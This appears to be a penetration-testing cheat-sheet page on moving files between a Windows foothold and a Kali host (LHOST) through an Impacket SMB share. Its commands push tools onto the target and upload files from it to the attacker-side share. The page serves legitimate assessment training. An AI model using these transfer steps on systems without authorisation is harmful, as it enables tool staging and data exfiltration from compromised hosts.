Move Windows files through an authenticated SMB share

Needs: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials

# Start an authenticated SMB share on Kali
mkdir -p share
sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

# Some installations expose the legacy wrapper name
sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

Connect and download from Windows

REM Connect and download from Windows
net use \\LHOST\transfer /user:USER "PASSWORD"
copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE

REM Upload evidence from Windows to Kali
copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE
net use \\LHOST\transfer /delete

Kali must accept inbound TCP/445 and the target must permit outbound SMB. The share is read/write unless started with Impacket's -readonly option.

Verify → Verify source/destination hash and the share path; disconnect created mappings after use.

If it fails → No route, conflicting cached connection, invalid share credentials and denied filesystem writes are independent failure points. More detail ↓

If → then

A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
Needs: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials → Turn automated Windows findings into manually verified candidates
Needs: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location
A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients
Needs: Correct server bind and served directory; target-to-server route, available downloader and writable destination

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Move Windows files through an authenticated SMB share

USE WHEN: A Windows source can reach a temporary assessment-side SMB service
STARTING ACCESS: Verified command execution or authenticated remote access and a known network path
RESULT: A verified read/write transfer over the temporary share

Recognize the clue

From Windows inspect TCP/445 reachability to the deliberate transfer server and distinguish its share identity from target-domain credentials.

Test-NetConnection LHOST -Port 445
net use

SYNTHETIC EXAMPLE OUTPUT

TcpTestSucceeded : True
Existing connection: \\LHOST\OTHER_SHARE as OTHER_USER

Means: The service is reachable, but an existing connection can constrain a different credential context.

Confirm: Verify intended share/server credentials, conflicting mappings, read/write rights and destination hash.

After validation: The intended authenticated share action succeeds and bytes match: use this transfer route.
Ruled out in this context: Outbound SMB is blocked from this source: reject this direction, choosing another transport.
Still inconclusive: Transport alone does not settle cached-session identity or object rights.

Troubleshooting: No route, conflicting cached connection, invalid share credentials and denied filesystem writes are independent failure points.

Additional prerequisite checks

Test-NetConnection LHOST -Port 445

SMB — read and write files from Windows

The first positional value is the share name; the second is its local directory. The supplied USER and PASSWORD authenticate to this temporary Kali share.

Some installations expose the legacy wrapper name:

Connect and download from Windows

Upload evidence from Windows to Kali

Kali must accept inbound TCP/445 and the target must permit outbound SMB. The share is read/write unless started with Impacket's -readonly option.

Why it works

Share authentication belongs to the temporary server, not automatically the target domain. Existing Windows connections to the same server can conflict with another credential context.

Worked example · hypothetical

Observation: HTTP is unavailable but outbound SMB is permitted. Test: connect to the authenticated share and copy one artifact. Illustrative output: copy succeeds and SHA-256 matches. Interpretation: use that transfer route and remove the created connection afterward.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗